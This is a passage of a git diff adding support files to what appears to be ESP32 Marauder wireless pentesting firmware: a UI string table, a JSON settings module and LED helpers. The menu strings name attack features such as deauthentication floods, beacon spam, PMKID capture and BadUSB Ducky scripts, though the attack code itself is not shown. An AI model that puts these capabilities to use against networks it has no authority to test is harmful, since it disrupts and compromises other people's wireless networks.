+PROGMEM const char text12[] = "Cancel";
+PROGMEM const char text13[] = "Save";
+PROGMEM const char text14[] = "Yes";
+PROGMEM const char text15[] = "Opening /update.bin...";
+PROGMEM const char text16[] = "Close";
+PROGMEM const char text17[] = "FAIL";
+PROGMEM const char text18[] = "packets/sec: ";
+
+
+//Menufunctions.cpp texts
+PROGMEM const char text1_0[] = "SSID List";
+PROGMEM const char text1_1[] = "Add SSIDs";
+PROGMEM const char text1_2[] = "SSID: ";
+PROGMEM const char text1_3[] = "Password:";
+PROGMEM const char text1_4[] = "Setting disabled";
+PROGMEM const char text1_5[] = "Setting on";
+PROGMEM const char text1_6[] = "ESP32 Marauder ";
+PROGMEM const char text1_7[] = "WiFi ";
+PROGMEM const char text1_8[] = "Bad USB ";
+PROGMEM const char text1_9[] = "Device ";
+PROGMEM const char text1_10[] = "General Apps ";
+PROGMEM const char text1_11[] = "Updating... ";
+PROGMEM const char text1_12[] = "Select Method ";
+PROGMEM const char text1_13[] = "Confirm Update ";
+PROGMEM const char text1_14[] = "ESP8266 Update ";
+PROGMEM const char text1_15[] = "Update Firmware ";
+PROGMEM const char text1_16[] = "Language ";
+PROGMEM const char text1_17[] = "Device Info ";
+PROGMEM const char text1_18[] = "Settings ";
+PROGMEM const char text1_19[] = "Bluetooth ";
+PROGMEM const char text1_20[] = "WiFi Sniffers ";
+PROGMEM const char text1_21[] = "WiFi Attacks ";
+PROGMEM const char text1_22[] = "WiFi General ";
+PROGMEM const char text1_23[] = "Bluetooth Sniffers ";
+PROGMEM const char text1_24[] = "Bluetooth General ";
+PROGMEM const char text1_25[] = "Shutdown WiFi ";
+PROGMEM const char text1_26[] = "Shutdown BLE ";
+PROGMEM const char text1_27[] = "Generate SSIDs ";
+PROGMEM const char text1_28[] = "Clear SSIDs ";
+PROGMEM const char text1_29[] = "Clear APs ";
+PROGMEM const char text1_30[] = "Reboot";
+PROGMEM const char text1_31[] = "Sniffers";
+PROGMEM const char text1_32[] = "Attacks";
+PROGMEM const char text1_33[] = "General";
+PROGMEM const char text1_34[] = "Bluetooth Sniffer";
+PROGMEM const char text1_35[] = "Detect Card Skimmers";
+PROGMEM const char text1_36[] = "Test BadUSB";
+PROGMEM const char text1_37[] = "Run Ducky Script";
+PROGMEM const char text1_38[] = "Draw";
+PROGMEM const char text1_39[] = "Web Update";
+PROGMEM const char text1_40[] = "SD Update";
+PROGMEM const char text1_41[] = "ESP8266 Update";
+PROGMEM const char text1_42[] = "Probe Request Sniff";
+PROGMEM const char text1_43[] = "Beacon Sniff";
+PROGMEM const char text1_44[] = "Deauth Sniff";
+PROGMEM const char text1_45[] = "Packet Monitor";
+PROGMEM const char text1_46[] = "EAPOL/PMKID Scan";
+PROGMEM const char text1_47[] = "Detect Pwnagotchi";
+PROGMEM const char text1_48[] = "Detect Espressif";
+PROGMEM const char text1_49[] = "Scan APs";
+PROGMEM const char text1_50[] = "Beacon Spam List";
+PROGMEM const char text1_51[] = "Beacon Spam Random";
+PROGMEM const char text1_52[] = "Rick Roll Beacon";
+PROGMEM const char text1_53[] = "Probe Req Flood";
+PROGMEM const char text1_54[] = "Deauth Flood";
+PROGMEM const char text1_55[] = "Join WiFi";
+PROGMEM const char text1_56[] = "Select APs";
+PROGMEM const char text1_57[] = "AP Clone Spam";
+PROGMEM const char text1_58[] = "Raw Capture";
+PROGMEM const char text1_59[] = "Station Sniff";
+PROGMEM const char text1_60[] = "Clear Stations";
+PROGMEM const char text1_61[] = "Select Stations";
+PROGMEM const char text1_62[] = "Deauth Targeted";
+
+
+//SDInterface.cpp texts
+PROGMEM const char text2_0[] = "Error, could not find update.bin";
+PROGMEM const char text2_1[] = "Starting SD Update...";
+PROGMEM const char text2_2[] = "Error, update.bin is empty";
+PROGMEM const char text2_3[] = "\nRebooting...\n";
+PROGMEM const char text2_4[] = "Could not load update.bin from /";
+PROGMEM const char text2_5[] = "File size: ";
+PROGMEM const char text2_6[] = "Writing file to partition...";
+PROGMEM const char text2_7[] = "Written: ";
+PROGMEM const char text2_8[] = "Written only : ";
+PROGMEM const char text2_9[] = ". Retry?";
+PROGMEM const char text2_10[] = " successfully";
+PROGMEM const char text2_11[] = "Update complete";
+PROGMEM const char text2_12[] = "Update could not complete";
+PROGMEM const char text2_13[] = "Error Occurred. Error #: ";
+PROGMEM const char text2_14[] = "Not enough space to begin OTA";
+
+//Web.cpp texts
+PROGMEM const char text3_0[] = "Configuring update server...\n\n";
+PROGMEM const char text3_1[] = "IP address: ";
+PROGMEM const char text3_2[] = "Update: ";
+PROGMEM const char text3_3[] = "Bytes complete: ";
+PROGMEM const char text3_4[] = "Update Success: ";
+PROGMEM const char text3_5[] = "\nCompleted update server setup";
+
+//WiFiScan.cpp texts
+PROGMEM const char text4_0[] = " RSSI: ";
+PROGMEM const char text4_1[] = "Potential Skimmer: ";
+PROGMEM const char text4_2[] = "Already Connected";
+PROGMEM const char text4_3[] = "Failed to connect";
+PROGMEM const char text4_4[] = "Connected";
+PROGMEM const char text4_5[] = "ForcePMKID";
+PROGMEM const char text4_6[] = "ForceProbe";
+PROGMEM const char text4_7[] = "SavePCAP";
+PROGMEM const char text4_8[] = "Probe Flood";
+PROGMEM const char text4_9[] = "Clearing APs...";
+PROGMEM const char text4_10[] = "APs Cleared: ";
+PROGMEM const char text4_11[] = "Clearing SSIDs...";
+PROGMEM const char text4_12[] = "SSIDs Cleared: ";
+PROGMEM const char text4_13[] = "Generating SSIDs...";
+PROGMEM const char text4_14[] = "SSIDs Generated: "; //Add spaces before to match : [15]
+PROGMEM const char text4_15[] = " Total SSIDs: "; //Add spaces beforer to match : [14]
+PROGMEM const char text4_16[] = "Shutting down WiFi...";
+PROGMEM const char text4_17[] = "WiFi not currently initialized";
+PROGMEM const char text4_18[] = "Shutting down BLE...";
+PROGMEM const char text4_19[] = "BLE not currently initialized";
+PROGMEM const char text4_20[] = "Firmware: Marauder"; //From 20 to 35 add spaces so : is in line like it is now
+PROGMEM const char text4_21[] = "Version: ";
+PROGMEM const char text4_22[] = "ESP-IDF: ";
+PROGMEM const char text4_23[] = "WSL Bypass: enabled";
+PROGMEM const char text4_24[] = "WSL Bypass: disabled";
+PROGMEM const char text4_25[] = "Station MAC: ";
+PROGMEM const char text4_26[] = "AP MAC: ";
+PROGMEM const char text4_27[] = "";
+PROGMEM const char text4_28[] = "SD Card: Connected";
+PROGMEM const char text4_29[] = "SD Card Size: ";
+PROGMEM const char text4_30[] = "SD Card: Not Connected";
+PROGMEM const char text4_31[] = "SD Card Size: 0";
+PROGMEM const char text4_32[] = "IP5306 I2C: supported";
+PROGMEM const char text4_33[] = "Battery Lvl: ";
+PROGMEM const char text4_34[] = "IP5306 I2C: not supported";
+PROGMEM const char text4_35[] = "Internal temp: ";
+PROGMEM const char text4_36[] = " Detect Espressif ";
+PROGMEM const char text4_37[] = " Detect Pwnagotchi ";
+PROGMEM const char text4_38[] = " Beacon Sniffer ";
+PROGMEM const char text4_39[] = " Deauthentication Sniffer ";
+PROGMEM const char text4_40[] = " Probe Request Sniffer ";
+PROGMEM const char text4_41[] = " Bluetooth Sniff ";
+PROGMEM const char text4_42[] = " Detect Card Skimmers ";
+PROGMEM const char text4_43[] = "Scanning for\nBluetooth-enabled skimmers\nHC-03, HC-05, and HC-06...";
+PROGMEM const char text4_44[] = " AP Scan ";
+PROGMEM const char text4_45[] = "Clearing Stations...";
+PROGMEM const char text4_46[] = "Stations Cleared: ";
+PROGMEM const char text4_47[] = "Targeted Deauth";
+
+//Making tables
+PROGMEM const char *text_table0[] = {text0_0,text0_1, text0_2, text0_3, text0_4, text0_5, text0_6, text0_7, text0_8};
+PROGMEM const char *text_table1[] = {text1_0,text1_1,text1_2,text1_3,text1_4,text1_5,text1_6,text1_7,text1_8,text1_9,text1_10,text1_11,text1_12,text1_13,text1_14,text1_15,text1_16,text1_17,text1_18,text1_19,text1_20,text1_21,text1_22,text1_23,text1_24,text1_25,text1_26,text1_27,text1_28,text1_29,text1_30,text1_31,text1_32,text1_33,text1_34,text1_35,text1_36,text1_37,text1_38,text1_39,text1_40,text1_41,text1_42,text1_43,text1_44,text1_45,text1_46,text1_47,text1_48,text1_49,text1_50,text1_51,text1_52,text1_53,text1_54,text1_55,text1_56,text1_57,text1_58,text1_59,text1_60,text1_61,text1_62};
+PROGMEM const char *text_table2[] = {text2_0,text2_1,text2_2,text2_3,text2_4,text2_5,text2_6,text2_7,text2_8,text2_9,text2_10,text2_11,text2_12,text2_13,text2_14};
+PROGMEM const char *text_table3[] = {text3_0,text3_1,text3_2,text3_3,text3_4,text3_5};
+PROGMEM const char *text_table4[] = {text4_0,text4_1,text4_2,text4_3,text4_4,text4_5,text4_6,text4_7,text1_54,text4_9,text4_10,text4_11,text4_12,text4_13,text4_14,text4_15,text4_16,text4_17,text4_18,text4_19,text4_20,text4_21,text4_22,text4_23,text4_24,text4_25,text4_26,text4_27,text4_28,text4_29,text4_30,text4_31,text4_32,text4_33,text4_34,text4_35,text4_36,text4_37,text4_38,text4_39,text4_40,text4_41,text4_42,text4_43,text4_44,text4_45,text4_46,text4_47};
+
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/settings.cpp b/S2Mini_esp32_v1.0.0_marauder/settings.cpp
new file mode 100644
index 0000000..781017c
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/settings.cpp
@@ -0,0 +1,311 @@
+#include "settings.h"
+
+String Settings::getSettingsString() {
+ return this->json_settings_string;
+}
+
+bool Settings::begin() {
+ if(!SPIFFS.begin(FORMAT_SPIFFS_IF_FAILED)){
+ Serial.println("Settings SPIFFS Mount Failed");
+ return false;
+ }
+
+ File settingsFile;
+
+ //SPIFFS.remove("/settings.json"); // NEED TO REMOVE THIS LINE
+
+ if (SPIFFS.exists("/settings.json")) {
+ settingsFile = SPIFFS.open("/settings.json", FILE_READ);
+
+ if (!settingsFile) {
+ settingsFile.close();
+ Serial.println(F("Could not find settings file"));
+ if (this->createDefaultSettings(SPIFFS))
+ return true;
+ else
+ return false;
+ }
+ }
+ else {
+ Serial.println("Settings file does not exist");
+ if (this->createDefaultSettings(SPIFFS))
+ return true;
+ else
+ return false;
+ }
+
+ String json_string;
+ DynamicJsonDocument jsonBuffer(1024);
+ DeserializationError error = deserializeJson(jsonBuffer, settingsFile);
+ serializeJson(jsonBuffer, json_string);
+ //Serial.println("Settings: " + (String)json_string + "\n");
+ //this->printJsonSettings(json_string);
+
+ this->json_settings_string = json_string;
+
+ return true;
+}
+
+template
+T Settings::loadSetting(String key) {}
+
+// Get type int settings
+template<>
+int Settings::loadSetting(String key) {
+ DynamicJsonDocument json(1024); // ArduinoJson v6
+
+ if (deserializeJson(json, this->json_settings_string)) {
+ Serial.println("\nCould not parse json");
+ }
+
+ for (int i = 0; i < json["Settings"].size(); i++) {
+ if (json["Settings"][i]["name"].as() == key)
+ return json["Settings"][i]["value"];
+ }
+
+ return 0;
+}
+
+// Get type string settings
+template<>
+String Settings::loadSetting(String key) {
+ //return this->json_settings_string;
+
+ DynamicJsonDocument json(1024); // ArduinoJson v6
+
+ if (deserializeJson(json, this->json_settings_string)) {
+ Serial.println("\nCould not parse json");
+ }
+
+ for (int i = 0; i < json["Settings"].size(); i++) {
+ if (json["Settings"][i]["name"].as() == key)
+ return json["Settings"][i]["value"];
+ }
+
+ return "";
+}
+
+// Get type bool settings
+template<>
+bool Settings::loadSetting(String key) {
+ DynamicJsonDocument json(1024); // ArduinoJson v6
+
+ if (deserializeJson(json, this->json_settings_string)) {
+ Serial.println("\nCould not parse json");
+ }
+
+ for (int i = 0; i < json["Settings"].size(); i++) {
+ if (json["Settings"][i]["name"].as() == key)
+ return json["Settings"][i]["value"];
+ }
+
+ return false;
+}
+
+//Get type uint8_t settings
+template<>
+uint8_t Settings::loadSetting(String key) {
+ DynamicJsonDocument json(1024); // ArduinoJson v6
+
+ if (deserializeJson(json, this->json_settings_string)) {
+ Serial.println("\nCould not parse json");
+ }
+
+ for (int i = 0; i < json["Settings"].size(); i++) {
+ if (json["Settings"][i]["name"].as() == key)
+ return json["Settings"][i]["value"];
+ }
+
+ return 0;
+}
+
+template
+T Settings::saveSetting(String key, bool value) {}
+
+template<>
+bool Settings::saveSetting(String key, bool value) {
+ DynamicJsonDocument json(1024); // ArduinoJson v6
+
+ if (deserializeJson(json, this->json_settings_string)) {
+ Serial.println("\nCould not parse json");
+ }
+
+ String settings_string;
+
+ for (int i = 0; i < json["Settings"].size(); i++) {
+ if (json["Settings"][i]["name"].as() == key) {
+ json["Settings"][i]["value"] = value;
+
+ Serial.println("Saving setting...");
+
+ File settingsFile = SPIFFS.open("/settings.json", FILE_WRITE);
+
+ if (!settingsFile) {
+ Serial.println(F("Failed to create settings file"));
+ return false;
+ }
+
+ if (serializeJson(json, settingsFile) == 0) {
+ Serial.println(F("Failed to write to file"));
+ }
+ if (serializeJson(json, settings_string) == 0) {
+ Serial.println(F("Failed to write to string"));
+ }
+
+ // Close the file
+ settingsFile.close();
+
+ this->json_settings_string = settings_string;
+
+ this->printJsonSettings(settings_string);
+
+ return true;
+ }
+ }
+ return false;
+}
+
+bool Settings::toggleSetting(String key) {
+ DynamicJsonDocument json(1024); // ArduinoJson v6
+
+ if (deserializeJson(json, this->json_settings_string)) {
+ Serial.println("\nCould not parse json");
+ }
+
+ for (int i = 0; i < json["Settings"].size(); i++) {
+ if (json["Settings"][i]["name"].as() == key) {
+ if (json["Settings"][i]["value"]) {
+ saveSetting(key, false);
+ Serial.println("Setting value to false");
+ return false;
+ }
+ else {
+ saveSetting(key, true);
+ Serial.println("Setting value to true");
+ return true;
+ }
+
+ return false;
+ }
+ }
+}
+
+String Settings::setting_index_to_name(int i) {
+ DynamicJsonDocument json(1024); // ArduinoJson v6
+
+ if (deserializeJson(json, this->json_settings_string)) {
+ Serial.println("\nCould not parse json");
+ }
+
+ return json["Settings"][i]["name"];
+}
+
+int Settings::getNumberSettings() {
+ DynamicJsonDocument json(1024); // ArduinoJson v6
+
+ if (deserializeJson(json, this->json_settings_string)) {
+ Serial.println("\nCould not parse json");
+ }
+
+ return json["Settings"].size();
+}
+
+String Settings::getSettingType(String key) {
+ DynamicJsonDocument json(1024); // ArduinoJson v6
+
+ if (deserializeJson(json, this->json_settings_string)) {
+ Serial.println("\nCould not parse json");
+ }
+
+ for (int i = 0; i < json["Settings"].size(); i++) {
+ if (json["Settings"][i]["name"].as() == key)
+ return json["Settings"][i]["type"];
+ }
+}
+
+void Settings::printJsonSettings(String json_string) {
+ DynamicJsonDocument json(1024); // ArduinoJson v6
+
+ if (deserializeJson(json, json_string)) {
+ Serial.println("\nCould not parse json");
+ }
+
+ Serial.println("Settings\n----------------------------------------------");
+ for (int i = 0; i < json["Settings"].size(); i++) {
+ Serial.println("Name: " + json["Settings"][i]["name"].as());
+ Serial.println("Type: " + json["Settings"][i]["type"].as());
+ Serial.println("Value: " + json["Settings"][i]["value"].as());
+ Serial.println("----------------------------------------------");
+ }
+}
+
+bool Settings::createDefaultSettings(fs::FS &fs) {
+ Serial.println(F("Creating default settings file: settings.json"));
+
+ File settingsFile = fs.open("/settings.json", FILE_WRITE);
+
+ if (!settingsFile) {
+ Serial.println(F("Failed to create settings file"));
+ return false;
+ }
+
+ DynamicJsonDocument jsonBuffer(1024);
+ String settings_string;
+
+ //jsonBuffer["Settings"][0]["name"] = "Channel";
+ //jsonBuffer["Settings"][0]["type"] = "uint8_t";
+ //jsonBuffer["Settings"][0]["value"] = 11;
+ //jsonBuffer["Settings"][0]["range"]["min"] = 1;
+ //jsonBuffer["Settings"][0]["range"]["max"] = 14;
+
+ //jsonBuffer["Settings"][1]["name"] = "Channel Hop Delay";
+ //jsonBuffer["Settings"][1]["type"] = "int";
+ //jsonBuffer["Settings"][1]["value"] = 1;
+ //jsonBuffer["Settings"][1]["range"]["min"] = 1;
+ //jsonBuffer["Settings"][1]["range"]["max"] = 10;
+
+ jsonBuffer["Settings"][0]["name"] = "ForcePMKID";
+ jsonBuffer["Settings"][0]["type"] = "bool";
+ jsonBuffer["Settings"][0]["value"] = true;
+ jsonBuffer["Settings"][0]["range"]["min"] = false;
+ jsonBuffer["Settings"][0]["range"]["max"] = true;
+
+ jsonBuffer["Settings"][1]["name"] = "ForceProbe";
+ jsonBuffer["Settings"][1]["type"] = "bool";
+ jsonBuffer["Settings"][1]["value"] = true;
+ jsonBuffer["Settings"][1]["range"]["min"] = false;
+ jsonBuffer["Settings"][1]["range"]["max"] = true;
+
+ jsonBuffer["Settings"][2]["name"] = "SavePCAP";
+ jsonBuffer["Settings"][2]["type"] = "bool";
+ jsonBuffer["Settings"][2]["value"] = true;
+ jsonBuffer["Settings"][2]["range"]["min"] = false;
+ jsonBuffer["Settings"][2]["range"]["max"] = true;
+
+ jsonBuffer["Settings"][3]["name"] = "EnableLED";
+ jsonBuffer["Settings"][3]["type"] = "bool";
+ jsonBuffer["Settings"][3]["value"] = true;
+ jsonBuffer["Settings"][3]["range"]["min"] = false;
+ jsonBuffer["Settings"][3]["range"]["max"] = true;
+
+ //jsonBuffer.printTo(settingsFile);
+ if (serializeJson(jsonBuffer, settingsFile) == 0) {
+ Serial.println(F("Failed to write to file"));
+ }
+ if (serializeJson(jsonBuffer, settings_string) == 0) {
+ Serial.println(F("Failed to write to string"));
+ }
+
+ // Close the file
+ settingsFile.close();
+
+ this->json_settings_string = settings_string;
+
+ this->printJsonSettings(settings_string);
+
+ return true;
+}
+
+void Settings::main(uint32_t currentTime) {
+
+}
diff --git a/S2Mini_esp32_v1.0.0_marauder/settings.h b/S2Mini_esp32_v1.0.0_marauder/settings.h
new file mode 100644
index 0000000..4bd25b8
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/settings.h
@@ -0,0 +1,57 @@
+#pragma once
+
+#ifndef Settings_h
+#define Settings_h
+
+#include "configs.h"
+
+#include "SPIFFS.h"
+#include
+#include
+
+#define FORMAT_SPIFFS_IF_FAILED true
+
+#ifdef HAS_SCREEN
+ #include "Display.h"
+
+ extern Display display_obj;
+#endif
+
+class Settings {
+
+ private:
+ String json_settings_string;
+
+ public:
+ bool begin();
+
+ template
+ T loadSetting(String name);
+
+ template
+ T saveSetting(String key, bool value);
+
+ bool toggleSetting(String key);
+ String getSettingType(String key);
+ String setting_index_to_name(int i);
+ int getNumberSettings();
+
+ //template<>
+ //int loadSetting(String key);
+
+ //template<>
+ //String loadSetting(String key);
+
+ //template<>
+ //bool loadSetting(String key);
+
+ //template<>
+ //uint8_t loadSetting(String key);
+
+ String getSettingsString();
+ bool createDefaultSettings(fs::FS &fs);
+ void printJsonSettings(String json_string);
+ void main(uint32_t currentTime);
+};
+
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/stickcLED.cpp b/S2Mini_esp32_v1.0.0_marauder/stickcLED.cpp
new file mode 100644
index 0000000..e561f26
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/stickcLED.cpp
@@ -0,0 +1,53 @@
+#include "stickcLED.h"
+// NB M5Stick C Plus LED is active low, so digitalWrite() calls are inverted
+void stickcLED::RunSetup() {
+ pinMode(STICKC_LED_PIN, OUTPUT);
+
+if (!settings_obj.loadSetting("EnableLED")) {
+ digitalWrite(STICKC_LED_PIN, HIGH);
+ return;
+}
+
+delay(50);
+
+ digitalWrite(STICKC_LED_PIN, LOW);
+ delay(500);
+ digitalWrite(STICKC_LED_PIN, HIGH);
+ delay(250);
+ digitalWrite(STICKC_LED_PIN, LOW);
+ delay(500);
+ digitalWrite(STICKC_LED_PIN, HIGH);
+ delay(250);
+ digitalWrite(STICKC_LED_PIN, LOW);
+ delay(500);
+ digitalWrite(STICKC_LED_PIN, HIGH);
+}
+
+void stickcLED::attackLED() {
+ if (!settings_obj.loadSetting("EnableLED"))
+ return;
+
+ digitalWrite(STICKC_LED_PIN, LOW);
+ delay(300);
+ digitalWrite(STICKC_LED_PIN, HIGH);
+}
+
+void stickcLED::sniffLED() {
+ if (!settings_obj.loadSetting("EnableLED"))
+ return;
+
+ digitalWrite(STICKC_LED_PIN, LOW);
+ delay(300);
+ digitalWrite(STICKC_LED_PIN, HIGH);
+}
+
+void stickcLED::offLED() {
+ if (!settings_obj.loadSetting("EnableLED"))
+ return;
+
+ digitalWrite(STICKC_LED_PIN, HIGH);
+}
+
+void stickcLED::main() {
+ // do nothing
+}
diff --git a/S2Mini_esp32_v1.0.0_marauder/stickcLED.h b/S2Mini_esp32_v1.0.0_marauder/stickcLED.h
new file mode 100644
index 0000000..289c58f
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/stickcLED.h
@@ -0,0 +1,25 @@
+#pragma once
+
+#ifndef stickcLED_H
+#define stickcLED_H
+
+#include "configs.h"
+#include "settings.h"
+
+#include
+
+#define STICKC_LED_PIN 10
+
+extern Settings settings_obj;
+
+class stickcLED {
+
+ public:
+ void RunSetup();
+ void main();
+ void attackLED();
+ void sniffLED();
+ void offLED();
+};
+
+#endif /* stickcLED_H */
diff --git a/S2Mini_esp32_v1.0.0_marauder/xiaoLED.cpp b/S2Mini_esp32_v1.0.0_marauder/xiaoLED.cpp
new file mode 100644
index 0000000..4670158
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/xiaoLED.cpp
@@ -0,0 +1,53 @@
+#include "xiaoLED.h"
+
+void xiaoLED::RunSetup() {
+ pinMode(XIAO_LED_PIN, OUTPUT);
+
+if (!settings_obj.loadSetting("EnableLED")) {
+ digitalWrite(XIAO_LED_PIN, HIGH);
+ return;
+}
+
+delay(50);
+
+ digitalWrite(XIAO_LED_PIN, LOW);
+ delay(500);
+ digitalWrite(XIAO_LED_PIN, HIGH);
+ delay(250);
+ digitalWrite(XIAO_LED_PIN, LOW);
+ delay(500);
+ digitalWrite(XIAO_LED_PIN, HIGH);
+ delay(250);
+ digitalWrite(XIAO_LED_PIN, LOW);
+ delay(500);
+ digitalWrite(XIAO_LED_PIN, HIGH);
+}
+
+void xiaoLED::attackLED() {
+ if (!settings_obj.loadSetting("EnableLED"))
+ return;
+
+ digitalWrite(XIAO_LED_PIN, HIGH);
+ delay(300);
+ digitalWrite(XIAO_LED_PIN, LOW);
+}
+
+void xiaoLED::sniffLED() {
+ if (!settings_obj.loadSetting